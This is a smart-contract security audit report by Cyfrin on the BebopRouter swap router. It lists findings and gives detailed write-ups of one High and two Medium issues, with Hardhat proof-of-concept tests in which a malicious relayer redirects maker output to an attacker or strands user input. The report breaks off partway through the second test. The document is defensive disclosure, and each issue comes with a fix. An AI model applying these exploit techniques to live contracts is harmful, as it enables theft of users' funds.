Bebop Router Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Kage

SBSecurity (Blckhv, Slavcheww)

June 12, 2026

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the in-scope code being audited.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

`BebopRouter` is a request-for-quote (RFQ) swap router that executes maker-signed quotes by wrapping the external Bebop private market maker (`BebopSettlement`): it pulls the taker's input, surgically rewrites the fill amount inside the raw settlement calldata, forwards the call, then distributes the output between the receiver, the order's makers, and the protocol treasury. On top of the base settlement it adds per-order fee and slippage pricing through pluggable `IChecker` and `IOracle` contracts named in each order, pre and post execution hooks (external calls, optionally maker-signed), native-token wrapping and unwrapping, and a gasless `settle` path that pulls user funds via a Permit2 witness signature or an EIP-712 / ERC-1271 order signature.

Every order is authorized by an off-chain `routerSigner` key whose EIP-712 signature commits to the order parameters, the extra-info hash, and the hooks hash; replay is bounded by a per-owner bitmap nonce and an expiry. The contract is non-upgradeable and is deployed on Ethereum mainnet and Polygon, with the Bebop PMM address, the canonical Permit2 address, the wrapped-native token, and the protocol treasury all fixed as immutables at construction, and the router signer set at construction and replaceable by the owner.

5 Audit Scope

The audit scope was limited to:

```
contracts/BebopRouter.sol
contracts/Errors.sol
contracts/libraries/BebopRouterOrderLib.sol
contracts/libraries/HookLib.sol
contracts/base/BebopPmmHelper.sol
contracts/base/BebopValidation.sol
```

6 Executive Summary

Over the course of 5 days, the Cyfrin team conducted an audit on the Router code provided by Bebop. The findings consist of 1 High, 2 Medium & 18 Low severity issues with the remainder being informational and gas optimizations.

BebopRouter wraps Bebop's PMM settlement system with order authorization, fee and slippage accounting, hooks, partial fills, gasless settlement, and native-token support.

The audit identified risks in PMM calldata binding, fill and denomination accounting, balance accounting, fee distribution and hook authorization, to name a few. These issues may cause incorrect accounting, residual-fund misrouting, or user losses when execution differs from the signed order's assumptions. All major issues were fixed and verified by Cyfrin as part of mitigation review.

Some centralization risks worth highlighting - BebopRouter relies heavily on the owner-controlled routerSigner, which authorizes orders and selects their hooks, oracles, and fee checkers. A compromised signer could authorize harmful execution parameters, while signer rotation immediately invalidates outstanding orders because setRouterSigner has no timelock.

Summary

Project Name	Router
Repository	bebop-rfqa
Commit	528826acf28d...
Fix Commit	9db95bc2b423...
Audit Timeline	June 2nd - June 8th, 2026
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	1
Medium Risk	2
Low Risk	18
Informational	4
Gas Optimizations	1
Total Issues	26

Summary of Findings

[H-1] `BebopRouter::settle` lets relayers steal `exactIn` user input by substituting unbound PMM calldata that under-delivers or redirects output	Resolved

[M-1] `BebopRouter::_distributeMakerRefundAndEmit` scales legs by fromToken-denominated `newFromAmount` instead of the actual PMM fill, causing incorrect maker accounting and conditional swap reverts	Resolved
[M-2] `BebopRouter::settle` can strand user input by allowing relayer-supplied PMM calldata to consume less than the router pulled	Resolved
[L-01] `BebopRouter::invalidateNonce` is keyed to msg.sender, so open orders cannot be globally cancelled and are single-use per caller	Resolved
[L-02] `BebopRouter::_executeSwapCore` uses absolute balances, causing unrelated residual funds to be consumed or paid to another order	Acknowledged
[L-03] `BebopRouter::swap` native-input/native-output orders with excess msg.value revert because the excess is paid to the receiver before refund	Resolved
[L-04] `BebopRouter::_approveHooks` never resets hook ERC20 allowance, leaving a standing approval to routerSigner-authorized hook targets	Resolved
[L-05] `BebopRouter::settle` relayer can dust-fill an order with a tiny exactAmount, consuming the user's nonce and griefing the intended fill	Acknowledged
[L-06] `BebopRouter::_calculateAmounts` applies oracle and checker fee and slippage rates with no upper bound, risking division-by-zero and underflow at or above `UNIT_BASE`	Resolved
[L-07] `HookLib::hookHash` omits order context and relies on PMM maker-nonce consumption, leaving maker-hook replay protection dependent on routerSigner nonce discipline	Acknowledged
[L-08] BebopRouter ignores PMM partnerId referral fees, allowing maker output to arrive below the router's expected delivery	Acknowledged
[L-09] BebopRouter::swap exactOut does not require a negative limitAmount, leaving input pulls without an order-committed max-spend ceiling	Acknowledged
[L-10] `BebopRouter::_distributeFees` derives `feePool` from the absolute `pmmToToken` balance rather than a per-swap delta, sweeping prior or donated balance to treasury as positive slippage	Acknowledged
[L-11] BebopRouter::$_distributeFees leaves below-threshold positive slippage in the router, causing it to be paid to the receiver$	Acknowledged
[L-12] `BebopValidation::validateSignature` branches on `code.length`, routing EIP-7702-delegated EOAs to the ERC-1271 path and reverting	Resolved
[L-13] `BebopValidation::validateSignature` rejects 65-byte ECDSA signatures that encode v as 0 or 1	Resolved
[L-14] `BebopRouterOrderLib::getProtocolShareFee`, `getProtocolShareSlippage` are not capped at `UNIT_BASE`, allowing over-range protocol shares to revert fills	Resolved
[L-15] `BebopRouter::_distributeFees` subtracts cross-denomination operands when a post-hook makes pmmToToken differ from toToken	Resolved
[L-16] `BebopPmmHelper::_executePmmSwap` does not validate PMM taker transfer commands before using the ERC20 approval path	Resolved
[L-17] `BebopRouter::_getFeeAndSlippage` passes full-quote PMM amounts to the oracle instead of the scaled actual fill, mispricing slippage on partial fills	Acknowledged

[L-18] `BebopPmmSwap` event emit reverts on aggregate orders with a dust last refundable maker	Resolved
[I-1] `BebopPmmHelper::_decodeSinglePmm, _decodeAggregatePmm` discard the PMM `receiver` and `taker_address` and never assert `receiver == address(this)`	Resolved
[I-2] `BebopRouter::_getFeeAndSlippage` consumes a spot-price example oracle with no TWAP, letting a taker sandwich the referenced pool to zero the slippage charge	Acknowledged
[I-3] `BebopPmmHelper::_decodeSinglePmm, _decodeAggregatePmm` read `eventId` from unsigned PMM flags, letting a taker spoof emitted event identifiers	Acknowledged
[I-4] `BebopValidation::validateSignature` does not enforce canonical low-s, accepting signature malleability and dual encodings	Acknowledged
[G-1] `HookLib::hooksHash` initializes `nonce` to its default value	Resolved

7 Findings

7.1 High Risk

7.1.1 `BebopRouter::settle` lets relayers steal `exactIn` user input by substituting unbound PMM calldata that under-delivers or redirects output

Description: In the gasless `BebopRouter::settle` flow, the user authorizes the router to pull a bounded amount of input tokens, but the relayer supplies the raw PMM calldata that determines how much output the maker delivers and where that output is sent.

The router checks the `routerSigner` signature and the user signature over `order.hash(...)`, but that hash commits only to the router order fields and **not** to the `bebopPmmCalldata` bytes:

```
// BebopRouterOrderLib.sol:49 - only the 14 order fields + extraInfoHash + hooksHash are hashed
calldatacopy(add(m, 0x20), order, 0x1c0)   // fromAmount .. routerNonce ; bebopPmmCalldata NOT included
```

`BebopPmmHelper::_validateAndExtractPmmInfo` then validates only the PMM selector, token identity, and non-zero amounts. It does **not** require the PMM `maker_amount` to match the signed router quote (`toAmount`), the PMM `receiver` to be the router, or the delivery form to be plain ERC-20 rather than native ETH:

```
// BebopPmmHelper.sol:62-76  _decodeSinglePmm - receiver and packed_commands decoded then discarded
( , , address maker_address, uint256 maker_nonce,
  address taker_token, address maker_token,
  uint256 taker_amount, uint256 maker_amount,
  , // receiver            // @audit not required == address(this)
  , // packed_commands      // @audit native-delivery flags ignored
  uint256 pmmFlags ) = abi.decode(pmmCalldata[4:4+352], (...));
require(taker_token == expectedFromToken && maker_token == expectedToToken, TokenMismatch()); // @audit
↪  only identity, not amount/receiver check
require(taker_amount > 0 && maker_amount > 0, UnexpectedAmount());                            // @audit
↪  only non-zero check
```

BebopSettlement transfers exactly the maker-signed `maker_amount` to the maker-signed `receiver`.

```
// BebopSettlement::_executeSingleOrder: Line 286-291
    uint256 newMakerAmount = updatedMakerAmount;
        if (filledTakerAmount != 0 && filledTakerAmount < order.taker_amount){
            newMakerAmount = (updatedMakerAmount * filledTakerAmount) / order.taker_amount;
        }
        (bool makerUsingPermit2, ) = Signature.extractMakerFlags(makerSignature.flags);
        _transferToken( // @audit transfer here
            order.maker_address, order.receiver, order.maker_token, newMakerAmount,
            makerUsingPermit2 ? Commands.PERMIT2_TRANSFER : Commands.SIMPLE_TRANSFER,
            makerHasNative ? Transfer.Action.Unwrap : Transfer.Action.None, partnerId
        );
```

For an **exactIn** `settle` **order with** `limitAmount == 0` (allowed — `settle:205` only requires `limitAmount < 0` for exactOut), the router also enforces no minimum on the receiver's final output:

```
// BebopRouter.sol:: _executeSwapCore Line305-308 (exactIn  isExactOut == false)
receiverAmount = IERC20(order.toToken).balanceOf(address(this));
require(!ctx.calc.isExactOut || receiverAmount >= ctx.calc.toAmountAfterFeeSlippage,
↪  LimitAmountViolation()); // @audit skipped for exactIn
require(order.limitAmount <= 0 || receiverAmount >= uint256(order.limitAmount),
↪  LimitAmountViolation());      // @audit limitAmount==0  0<=0  no floor
```

This creates a mismatch: the signed router order authorizes the user input pull, while the unsigned PMM calldata controls the realized output. A malicious relayer can exploit that mismatch in three equivalent ways:

1. **Under-fill (receiver == router):** `taker_amount = newFromAmount`, `maker_amount = dust`. The PMM sends dust to the router; `_distributeFees` sees `feePool == 0`; the payout delivers the dust to the user.
2. **Receiver redirect:** PMM `receiver = attacker` → maker output goes to the attacker; router balance is `0`; user gets `0`.
3. **Native delivery:** `packed_commands.makerHasNative` → ETH is delivered instead of `pmmToToken`; WETH accounting reads `0`, so ERC-20-output users receive `0` and native-output orders bypass the fee accounting.

Impact: Direct theft of a gasless-`settle` user's authorized input. In the PoC shown, the user is debited the full `1000 USDC` they authorized and receives either `0 WETH` (redirect / native) or `1 wei WETH` (under-fill), versus the quote-implied `~0.5 WETH` — effectively a total loss of the swap. No protocol-side privilege is required.

The attacker is the relayer submitting the gasless order. The maker requirement depends on the vector: the redirect vector needs only a maker quote whose PMM `receiver` is the relayer, while the under-fill vector requires a colluding or self-controlled maker signing a toxic-rate quote (`maker_amount = dust`). The trigger is any `exactIn settle` order signed with `limitAmount == 0`.

Proof of Concept: Add the test to `poc.test.ts` in `test/audit` folder and run the following:

```
npx hardhat test test/audit/poc.test.ts --config hardhat.config.ts
```

```
import { expect } from "chai";
import { ethers } from "hardhat";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import { WETH, USDC, e6, e18 } from "../test-configs";

const BEBOP_PMM = "0xbbbbbBB520d69a9775E85b458C58c648259FAD5F";
const PERMIT2 = "0x000000000022D473030F116dDEE9F6B43aC78BA3";
const PMM_DOMAIN_NAME = "BebopSettlement";
const PMM_DOMAIN_VERSION = "2";
const ROUTER_DOMAIN_NAME = "BebopRouter";
const ROUTER_DOMAIN_VERSION = "1";
const USDC_SLOT = 9n;

interface PmmSingleOrder {
  expiry: bigint; taker_address: string; maker_address: string; maker_nonce: bigint;
  taker_token: string; maker_token: string; taker_amount: bigint; maker_amount: bigint;
  receiver: string; packed_commands: bigint; flags: bigint;
}
interface RouterOrder {
  fromAmount: bigint; toAmount: bigint; limitAmount: bigint;
  fromToken: string; toToken: string; pmmFromToken: string; pmmToToken: string;
  tokensOwner: string; receiver: string; originAddress: string;
  oracle: string; checker: string; info: bigint; routerNonce: bigint; unsignedFlags: bigint;
}

function packInfo(expiry: bigint): bigint { return (expiry << 64n); }

async function signRouterOrder(signer: SignerWithAddress, verifyingContract: string, chainId: bigint,
↪  order: RouterOrder, extraInfo: string, hooksHash: string) {
  return signer.signTypedData(
    { name: ROUTER_DOMAIN_NAME, version: ROUTER_DOMAIN_VERSION, chainId, verifyingContract },
    { BebopRouterOrder: [
      { name: "fromAmount", type: "uint256" }, { name: "toAmount", type: "uint256" },
      { name: "limitAmount", type: "int256" }, { name: "fromToken", type: "address" },
      { name: "toToken", type: "address" }, { name: "pmmFromToken", type: "address" },
      { name: "pmmToToken", type: "address" }, { name: "tokensOwner", type: "address" },
      { name: "receiver", type: "address" }, { name: "originAddress", type: "address" },
      { name: "oracle", type: "address" }, { name: "checker", type: "address" },
      { name: "info", type: "uint256" }, { name: "routerNonce", type: "uint256" },
      { name: "extraInfoHash", type: "bytes32" }, { name: "hooksHash", type: "bytes32" },
    ]},
    { ...order, extraInfoHash: ethers.keccak256(extraInfo), hooksHash }
```

```
  );
}
async function signPmmSingleOrder(signer: SignerWithAddress, pmmAddress: string, chainId: bigint,
↪  order: PmmSingleOrder, partnerId: bigint) {
  return signer.signTypedData(
    { name: PMM_DOMAIN_NAME, version: PMM_DOMAIN_VERSION, chainId, verifyingContract: pmmAddress },
    { SingleOrder: [
      { name: "partner_id", type: "uint64" }, { name: "expiry", type: "uint256" },
      { name: "taker_address", type: "address" }, { name: "maker_address", type: "address" },
      { name: "maker_nonce", type: "uint256" }, { name: "taker_token", type: "address" },
      { name: "maker_token", type: "address" }, { name: "taker_amount", type: "uint256" },
      { name: "maker_amount", type: "uint256" }, { name: "receiver", type: "address" },
      { name: "packed_commands", type: "uint256" },
    ]},
    { partner_id: partnerId, ...order }
  );
}
function encodePmmSwapSingle(order: PmmSingleOrder, makerSig: string, filledTakerAmount: bigint) {
  const iface = new ethers.Interface([
    "function swapSingle(tuple(uint256,address,address,uint256,address,address,uint256,uint256,address,
    ↪  uint256,uint256) order, tuple(bytes,uint256) makerSignature, uint256 filledTakerAmount)"
  ]);
  return iface.encodeFunctionData("swapSingle", [
    [order.expiry, order.taker_address, order.maker_address, order.maker_nonce, order.taker_token,
    ↪  order.maker_token, order.taker_amount, order.maker_amount, order.receiver,
    ↪  order.packed_commands, order.flags],
    [makerSig, 0n], filledTakerAmount
  ]);
}
async function fundUsdc(to: string, amount: bigint) {
  const slot = ethers.keccak256(ethers.AbiCoder.defaultAbiCoder().encode(["address", "uint256"], [to,
  ↪  USDC_SLOT]));
  await ethers.provider.send("hardhat_setStorageAt", [USDC, slot,
  ↪  ethers.AbiCoder.defaultAbiCoder().encode(["uint256"], [amount])]);
}
async function fundWeth(signer: SignerWithAddress, amount: bigint) {
  await signer.sendTransaction({ to: WETH, value: amount, data: "0xd0e30db0" }); // deposit()
}

describe("Audit PoCs", function () {
  this.timeout(300000);
  let router: any, chainId: bigint, routerAddr: string;
  let owner: SignerWithAddress, routerSigner: SignerWithAddress, user: SignerWithAddress;
  let treasury: SignerWithAddress, maker: SignerWithAddress, attacker: SignerWithAddress;
  let usdc: any, weth: any;
  let nonce = 1000n;

  before(async () => {
    const s = await ethers.getSigners();
    [owner, routerSigner, user, treasury, , maker, , , , , attacker] = s;
    maker = s[5]; attacker = s[10];
    chainId = (await ethers.provider.getNetwork()).chainId;
    router = await (await ethers.getContractFactory("BebopRouter")).deploy(treasury.address,
    ↪  routerSigner.address, BEBOP_PMM, PERMIT2, WETH);
    await router.waitForDeployment();
    routerAddr = await router.getAddress();
    usdc = await ethers.getContractAt("IERC20", USDC);
    weth = await ethers.getContractAt("IERC20", WETH);
  });

  it("relayer redirects maker output to attacker; user pays, gets 0", async () => {
    const expiry = BigInt(Math.floor(Date.now() / 1000) + 3600);
    const routerNonce = nonce++, makerNonce = nonce++;
```

```
    const order: RouterOrder = {
      fromAmount: e6(1000), toAmount: e18("0.5"), limitAmount: 0n, // @audit no min-out floor
      fromToken: USDC, toToken: WETH, pmmFromToken: USDC, pmmToToken: WETH,
      tokensOwner: user.address, receiver: user.address,
      originAddress: ethers.ZeroAddress, oracle: ethers.ZeroAddress, checker: ethers.ZeroAddress,
      info: packInfo(expiry), routerNonce, unsignedFlags: 0n,
    };
    // user funds + approves router (EIP-712 settle pull path)
    await fundUsdc(user.address, e6(1000));
    await usdc.connect(user).approve(routerAddr, e6(1000));
    // maker funds WETH, approves PMM; signs a PMM order with receiver = ATTACKER
    await fundWeth(maker, e18("0.5"));
    await weth.connect(maker).approve(BEBOP_PMM, ethers.MaxUint256);
    const pmm: PmmSingleOrder = {
      expiry, taker_address: routerAddr, maker_address: maker.address, maker_nonce: makerNonce,
      taker_token: USDC, maker_token: WETH, taker_amount: e6(1000), maker_amount: e18("0.5"),
      receiver: attacker.address, packed_commands: 0n, flags: 0n, // @audit redirected
    };
    const makerSig = await signPmmSingleOrder(maker, BEBOP_PMM, chainId, pmm, 0n);
    const pmmCalldata = encodePmmSwapSingle(pmm, makerSig, 0n);
    const routerSig = await signRouterOrder(routerSigner, routerAddr, chainId, order, "0x",
    ↪  ethers.ZeroHash);
    const userSig = await signRouterOrder(user, routerAddr, chainId, order, "0x", ethers.ZeroHash);

    const userUsdc0 = await usdc.balanceOf(user.address);
    const userWeth0 = await weth.balanceOf(user.address);
    const attkWeth0 = await weth.balanceOf(attacker.address);

    // relayer (owner) submits
    await router.connect(owner).settle(e6(1000), order, "0x", routerSig, pmmCalldata, [], userSig);

    const userUsdcSpent = userUsdc0 - (await usdc.balanceOf(user.address));
    const userWethGain = (await weth.balanceOf(user.address)) - userWeth0;
    const attkWethGain = (await weth.balanceOf(attacker.address)) - attkWeth0;

    expect(userUsdcSpent).to.equal(e6(1000));   // user debited
    expect(userWethGain).to.equal(0n);          // user receives nothing
    expect(attkWethGain).to.equal(e18("0.5"));  // attacker receives the output
  });
});
```

Recommended Mitigation: The root cause is that the externally-supplied PMM fill is unconstrained and `exactIn` orders without a floor are unprotected.

Consider enforcing a minimum delivered output for `exactIn`, the same way `exactOut` already does. The contract already computes the quote-implied net (`toAmountAfterFeeSlippage`) and already checks it for exactOut — it is simply skipped for exactIn (the `!ctx.calc.isExactOut ||` short-circuit). Remove that gate so the floor always applies (the same one-line change in both payout branches, `BebopRouter.sol:301` native and `:306` ERC-20):

```
- require(!ctx.calc.isExactOut || receiverAmount >= ctx.calc.toAmountAfterFeeSlippage,
↪  LimitAmountViolation());
+ require(receiverAmount >= ctx.calc.toAmountAfterFeeSlippage, LimitAmountViolation());
```

Also, force PMM output to arrive at the router in the expected asset form. For a native-output order (`toToken == NATIVE_TOKEN`) filled with `makerHasNative`, ETH delivery can satisfy the payout floor while `_distributeFees` still reads `WETH.balanceOf(address(this)) == 0`. Decode and validate the PMM receiver and command bits before the external settlement call:

```
  require(taker_token == expectedFromToken && maker_token == expectedToToken, TokenMismatch());
  require(taker_amount > 0 && maker_amount > 0, UnexpectedAmount());
+ require(receiver == address(this), InvalidPmmReceiver());
+ require((packed_commands & 0x07) == 0, UnsupportedPmmCommand());
```

Apply equivalent validation to the aggregate PMM path. If native maker delivery must be supported, `_distributeFees` should account from the router's native-balance delta instead of using only the WETH balance.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.2 Medium Risk

7.2.1 `BebopRouter::_distributeMakerRefundAndEmit` scales legs by fromToken-denominated `newFromAmount` instead of the actual PMM fill, causing incorrect maker accounting and conditional swap reverts

Description: When a swap uses a pre-hook to convert `order.fromToken` into a different `order.pmmFromToken`, `_executeSwapCore` takes the converted token balance as the PMM fill amount:

```
// contracts/BebopRouter.sol:275-277
} else if (order.pmmFromToken != order.fromToken) {
    pmmFromAmount = IERC20(order.pmmFromToken).balanceOf(address(this));
}
```

That `pmmFromAmount` is then injected into the PMM calldata as `filledTakerAmount` and is the value `BebopSettlement` uses to scale the maker/taker legs actually executed by the PMM.

Inside `_distributeMakerRefundAndEmit` at `contracts/BebopRouter.sol:531-532`, the per-leg scaling uses a different value:

```
uint256 scaledTakerAmt = (legs[j].takerAmount * calc.newFromAmount) / pmm.pmmTakerAmount;
uint256 scaledMakerAmt = (legs[j].makerAmount * calc.newFromAmount) / pmm.pmmTakerAmount;
```

Here `calc.newFromAmount` is denominated in the router order's `fromToken`, while `pmm.pmmTakerAmount` is denominated in `pmmFromToken`. For 1:1 same-decimal wrappers this may accidentally match, but non-1:1 wrappers or decimal-changing conversions make the ratio wrong. The event therefore reports maker/taker leg amounts using `fromToken` units even though the PMM filled using `pmmFromToken` units.

For example, the existing rate-wrapper scenario converts `600 rvUSDC` into `750 USDC` before the PMM call. The PMM fills against `750 USDC`, so a `1000 USDC -> 0.4 WETH` PMM quote delivers `0.3 WETH`. However, `_distributeMakerRefundAndEmit` scales the leg by `600 / 1000` instead of `750 / 1000`, so after a `0.003 WETH` maker refund the event reports `0.237 WETH` maker delivery even though the maker's real WETH balance change is `0.297 WETH`.

The same mismatch can also revert the whole swap. If `calc.newFromAmount` is sufficiently smaller than the actual PMM fill amount, `scaledMakerAmt` can be computed below the fee/slippage-derived `legRefund`. The checked subtraction at `contracts/BebopRouter.sol:545` then underflows:

```
scaledMakerAmt - legRefund
```

This does not affect every pre-hook conversion. Near-1:1 conversions or low-refund cases can succeed but emit incorrect PMM swap accounting. The revert occurs once the conversion ratio and fee/refund parameters make the incorrectly-scaled `scaledMakerAmt` smaller than `legRefund`.

Files:

`contracts/BebopRouter.sol::_distributeMakerRefundAndEmit, _executeSwapCore`

Impact: Pre-hook conversion swaps with non-1:1 or cross-decimal conversions can produce incorrect `BebopPmmSwap` maker/taker amounts, causing off-chain accounting and monitoring systems to observe balances that do not match the actual PMM transfer amounts.

For sufficiently lopsided conversions, the same mismatch can make `_distributeMakerRefundAndEmit` revert during `scaledMakerAmt - legRefund`, making otherwise valid swaps unfillable. The revert unwinds the full transaction, so pre-hooks and the PMM fill do not remain partially executed, but the affected order path is unavailable until the conversion ratio, fee/refund parameters, or implementation are changed.

Recommended Mitigation: Scale per-leg amounts using the actual PMM fill amount, not `calc.newFromAmount`. If the router also enforces that the PMM consumes exactly the amount supplied, this can be the `pmmFromAmount` injected into the PMM calldata:

```
uint256 scaledTakerAmt = (legs[j].takerAmount * pmmFromAmount) / pmm.pmmTakerAmount;
uint256 scaledMakerAmt = (legs[j].makerAmount * pmmFromAmount) / pmm.pmmTakerAmount;
```

If `pmmFromAmount` may exceed `pmm.pmmTakerAmount` and `BebopSettlement` caps the consumed amount, use the actual consumed PMM amount instead, e.g. `min(pmmFromAmount, pmm.pmmTakerAmount)`, or enforce `pmmFromAmount <= pmm.pmmTakerAmount` before calling the PMM.

To make the value available at event emission, pass it through `_distributeFees` into `_distributeMakerRefundAndEmit` or store it in the swap context. The same actual-fill value should also be used anywhere hook-facing scaled swaps are meant to describe the PMM legs that actually executed.

Bebop: Fixed in commit 9db95bc.

Cyfrin: Verified.

7.2.2 `BebopRouter::settle` can strand user input by allowing relayer-supplied PMM calldata to consume less than the router pulled

Description: In `settle`, the router pulls `newFromAmount` of `fromToken` from the user, bounded by the signed `maxFromAmount`, approves the PMM, and writes `filledTakerAmount = newFromAmount` into the relayer-supplied PMM calldata. However, the PMM calldata is not bound to the signed router order. A malicious relayer can therefore supply maker-signed PMM calldata whose `taker_amount` is smaller than `newFromAmount`.

`BebopSettlement` clamps the actual pull from the router to the PMM order's `taker_amount`:

```
// BebopSettlement::_executeSingleOrder
_transferToken(
    order.taker_address,
    order.maker_address,
    order.taker_token,
    filledTakerAmount == 0 || filledTakerAmount > order.taker_amount
        ? order.taker_amount
        : filledTakerAmount,
    ...
);
```

As a result, the router may pull the full `newFromAmount` from the user while the PMM consumes only `taker_amount`. `_executePmmSwap` does not refund the unconsumed input:

```
// BebopPmmHelper::_executePmmSwap
_ensureApproval(IERC20(fromToken), bebopPmm, newFromAmount);
(bool success, bytes memory returnData) = bebopPmm.call(pmmCalldata);
```

The difference `newFromAmount - taker_amount` remains stranded in the router.

Files:

- `contracts/base/BebopPmmHelper.sol` - `BebopPmmHelper::_executePmmSwap`
- `contracts/BebopRouter.sol` - `BebopRouter::settle`

Impact: A `settle` user can lose the difference between the amount pulled from them and the smaller amount consumed by the PMM fill. This is not only a front-end sizing mistake: because `bebopPmmCalldata` is relayer-supplied and not committed by the user signature, a malicious relayer can intentionally choose PMM calldata that under-consumes the user's input.

The loss is bounded by the user's signed `maxFromAmount` for the order, but it is direct user fund loss/stranding. The stranded balance is not automatically returned to the original payer and may later be swept through balance-of-router flows authorized for a different receiver.

Proof Of Concept:

Add this to `test/audit/poc.test.ts` folder and run

`npx hardhat test test/audit/poc.test.ts --config hardhat.config.ts`

```
import { expect } from "chai";
import { ethers } from "hardhat";
```

```ts
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import { WETH, USDC, e6, e18 } from "../test-configs";

const BEBOP_PMM = "0xbbbbbBB520d69a9775E85b458C58c648259FAD5F";
const PERMIT2 = "0x000000000022D473030F116dDEE9F6B43aC78BA3";
const PMM_DOMAIN_NAME = "BebopSettlement";
const PMM_DOMAIN_VERSION = "2";
const ROUTER_DOMAIN_NAME = "BebopRouter";
const ROUTER_DOMAIN_VERSION = "1";
const USDC_SLOT = 9n;

interface PmmSingleOrder {
  expiry: bigint; taker_address: string; maker_address: string; maker_nonce: bigint;
  taker_token: string; maker_token: string; taker_amount: bigint; maker_amount: bigint;
  receiver: string; packed_commands: bigint; flags: bigint;
}
interface RouterOrder {
  fromAmount: bigint; toAmount: bigint; limitAmount: bigint;
  fromToken: string; toToken: string; pmmFromToken: string; pmmToToken: string;
  tokensOwner: string; receiver: string; originAddress: string;
  oracle: string; checker: string; info: bigint; routerNonce: bigint; unsignedFlags: bigint;
}

function packInfo(expiry: bigint): bigint { return (expiry << 64n); }

async function signRouterOrder(signer: SignerWithAddress, verifyingContract: string, chainId: bigint,
↪  order: RouterOrder, extraInfo: string, hooksHash: string) {
  return signer.signTypedData(
    { name: ROUTER_DOMAIN_NAME, version: ROUTER_DOMAIN_VERSION, chainId, verifyingContract },
    { BebopRouterOrder: [
      { name: "fromAmount", type: "uint256" }, { name: "toAmount", type: "uint256" },
      { name: "limitAmount", type: "int256" }, { name: "fromToken", type: "address" },
      { name: "toToken", type: "address" }, { name: "pmmFromToken", type: "address" },
      { name: "pmmToToken", type: "address" }, { name: "tokensOwner", type: "address" },
      { name: "receiver", type: "address" }, { name: "originAddress", type: "address" },
      { name: "oracle", type: "address" }, { name: "checker", type: "address" },
      { name: "info", type: "uint256" }, { name: "routerNonce", type: "uint256" },
      { name: "extraInfoHash", type: "bytes32" }, { name: "hooksHash", type: "bytes32" },
    ]},
    { ...order, extraInfoHash: ethers.keccak256(extraInfo), hooksHash }
  );
}
async function signPmmSingleOrder(signer: SignerWithAddress, pmmAddress: string, chainId: bigint,
↪  order: PmmSingleOrder, partnerId: bigint) {
  return signer.signTypedData(
    { name: PMM_DOMAIN_NAME, version: PMM_DOMAIN_VERSION, chainId, verifyingContract: pmmAddress },
    { SingleOrder: [
      { name: "partner_id", type: "uint64" }, { name: "expiry", type: "uint256" },
      { name: "taker_address", type: "address" }, { name: "maker_address", type: "address" },
      { name: "maker_nonce", type: "uint256" }, { name: "taker_token", type: "address" },
      { name: "maker_token", type: "address" }, { name: "taker_amount", type: "uint256" },
      { name: "maker_amount", type: "uint256" }, { name: "receiver", type: "address" },
      { name: "packed_commands", type: "uint256" },
    ]},
    { partner_id: partnerId, ...order }
  );
}
function encodePmmSwapSingle(order: PmmSingleOrder, makerSig: string, filledTakerAmount: bigint) {
  const iface = new ethers.Interface([
    "function swapSingle(tuple(uint256,address,address,uint256,address,address,uint256,uint256,address,
    ↪  uint256,uint256) order, tuple(bytes,uint256) makerSignature, uint256 filledTakerAmount)"
  ]);
  return iface.encodeFunctionData("swapSingle", [
```

```
    [order.expiry, order.taker_address, order.maker_address, order.maker_nonce, order.taker_token,
    ↪  order.maker_token, order.taker_amount, order.maker_amount, order.receiver,
    ↪  order.packed_commands, order.flags],
    [makerSig, 0n], filledTakerAmount
  ]);
}
async function fundUsdc(to: string, amount: bigint) {
  const slot = ethers.keccak256(ethers.AbiCoder.defaultAbiCoder().encode(["address", "uint256"], [to,
  ↪  USDC_SLOT]));
  await ethers.provider.send("hardhat_setStorageAt", [USDC, slot,
  ↪  ethers.AbiCoder.defaultAbiCoder().encode(["uint256"], [amount])]);
}
async function fundWeth(signer: SignerWithAddress, amount: bigint) {
  await signer.sendTransaction({ to: WETH, value: amount, data: "0xd0e30db0" }); // deposit()
}

describe("Audit PoCs", function () {
  this.timeout(300000);
  let router: any, chainId: bigint, routerAddr: string;
  let owner: SignerWithAddress, routerSigner: SignerWithAddress, user: SignerWithAddress;
  let treasury: SignerWithAddress, maker: SignerWithAddress, attacker: SignerWithAddress;
  let usdc: any, weth: any;
  let nonce = 1000n;

  before(async () => {
    const s = await ethers.getSigners();
    [owner, routerSigner, user, treasury, , maker, , , , , attacker] = s;
    maker = s[5]; attacker = s[10];
    chainId = (await ethers.provider.getNetwork()).chainId;
    router = await (await ethers.getContractFactory("BebopRouter")).deploy(treasury.address,
    ↪  routerSigner.address, BEBOP_PMM, PERMIT2, WETH);
    await router.waitForDeployment();
    routerAddr = await router.getAddress();
    usdc = await ethers.getContractAt("IERC20", USDC);
    weth = await ethers.getContractAt("IERC20", WETH);
  });


  it("pmm taker_amount < fill strands user input in the router", async () => {
    const expiry = BigInt(Math.floor(Date.now() / 1000) + 3600);
    const routerNonce = nonce++, makerNonce = nonce++;
    const order: RouterOrder = {
      fromAmount: e6(1000), toAmount: e18("0.5"), limitAmount: 0n,
      fromToken: USDC, toToken: WETH, pmmFromToken: USDC, pmmToToken: WETH,
      tokensOwner: user.address, receiver: user.address,
      originAddress: ethers.ZeroAddress, oracle: ethers.ZeroAddress, checker: ethers.ZeroAddress,
      info: packInfo(expiry), routerNonce, unsignedFlags: 0n,
    };
    await fundUsdc(user.address, e6(1000));
    await usdc.connect(user).approve(routerAddr, e6(1000));
    await fundWeth(maker, e18("0.3"));
    await weth.connect(maker).approve(BEBOP_PMM, ethers.MaxUint256);
    // PMM order only covers 600 USDC; router still pulls the full 1000 from the user
    const pmm: PmmSingleOrder = {
      expiry, taker_address: routerAddr, maker_address: maker.address, maker_nonce: makerNonce,
      taker_token: USDC, maker_token: WETH, taker_amount: e6(600), maker_amount: e18("0.3"),
